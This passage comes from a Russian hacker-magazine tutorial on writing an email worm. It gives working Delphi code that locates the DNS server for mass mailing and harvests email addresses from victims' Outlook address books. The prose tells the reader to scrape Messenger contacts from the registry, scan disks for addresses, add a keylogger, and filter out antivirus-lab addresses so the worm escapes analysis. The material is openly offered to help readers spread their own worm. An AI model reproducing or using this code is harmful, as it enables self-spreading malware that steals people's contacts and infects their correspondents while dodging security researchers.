Разводим червей Ms-Rem (Ms-Rem@yandex.ru) Хакер, номер #084, стр. 084-118-5 function GetDNSServer(): dword; var FixedInfoSize : Integer; FixedInfo : PFixedInfo; PDNS :PIPAddrString; GetNetworkParams : function(FI:PFixedInfo; var BufLen: Integer): Integer; stdcall; begin Result := 0; GetNetworkParams := GetProcAddress(LoadLibrary('iphlpapi.dll'), 'GetNetworkParams'); if @GetNetworkParams = nil then Exit; FixedInfoSize := 1024; GetMem(FixedInfo, FixedInfoSize); if GetNetworkParams(FixedInfo, FixedInfoSize) = ERROR_SUCCESS then begin PDNS := @FixedInfo^.DNSServerList; if PDNS <> nil then Result := inet_addr(PDNS^.IPAddress); end; FreeMem(FixedInfo); end; Работающий пример MX-резолвера ты можешь найти на диске. [получение адресов для рассылки] Перед тем как начинать рассылку копий червя, неплохо было бы определить адреса, по которым мы будем его рассылать. Для этого нам нужно сначала вытащить все адреса из адресной книги юзера, а затем и просканировать все файлы на дисках на их наличие. Попробуем для начала достать адреса из адресной книги Outlook. Нужная нам информация хранится в .wab файлах, и в виду их простой стуктуры будет нетрудно их распарсить вручную. Вот пример кода, сохраняющего все адреса из wab-файла в файл Emails.txt: procedure ReadWAB(WABFile: string); var F : file; I : dword; S : string; N : array[1..5] of Char; Buf : array[1..500] of Char; R : TextFile; begin AssignFile(R,'Emails.txt'); ReWrite(R); AssignFile(F,WABFile); Reset(F,1); if IOResult=0 then begin repeat BlockRead(F,N,2); if N[1]+N[2]=#03#48 then begin BlockRead(F,Buf,Ord(N[2])+30); S:=''; for I:=1 to Ord(N[2])+30 do S:=S+Buf[I]; Delete(S,1,3); I:=Pos(#00#00#00,S); if I>0 then SetLength(S,I-1); for I:=1 to Ord(N[2]) do if S[I]=#00 then Delete(S,I,1); for I:=1 to Length(S) do if S[I]<chr(45) then begin SetLength(S,I-1); Break; end; if (Pos('@',S)>0)and(Pos('.',S)>0) then writeln(r,UpperCase(S)); end else Seek(F,FilePos(F)-1); until FileSize(F)-FilePos(F)<6; CloseFile(F); end; CloseFile(R); end; Ну, и совсем просто будет извлечь адреса из Windows Messenger, так как они просто хранятся в реестре, в разделе HKEY_CURRENT_USER\Software\Microsoft\MessengerService\ListCache\.NET Messenger Service, откуда их можно прочитать, просто перечислив соответствующие ключи. Как это сделать, я думаю, ты и сам догадаешься. Следующим этапом после адресных книг будет поиск мыл в файлах на диске. Сделать это очень просто, поэтому приводить примеров я не буду, но подскажу, что для реализации этого тебе хватит API-функций FindFirstFile, FindNextFile, FindClose, CreateFile, ReadFile и CloseHandle, ну и еще обязательно понадобится немного мозгов (они пригодятся для того, чтобы сообразить, как использовать регулярные выражения для поиска мыл - прим. gorl'а). Конечно, помимо этого, можно извлекать адреса из адресных книг других программ, можно даже использовать кейлогер и отслеживать вводимые юзером данные, все эти приемы повышают эффективность червя и увеличивают скорость его размножения. Очень важный момент при получении списка адресов - это его фильтрация. Ты ведь не хочешь, чтобы твой червь сам отправился прямиком в лабораторию Касперского, поэтому следует сделать список слов-исключений, которые не должны встречаться в адресах, пригодных для рассылки. Все адреса с этими словами просто следует не включать в базу. |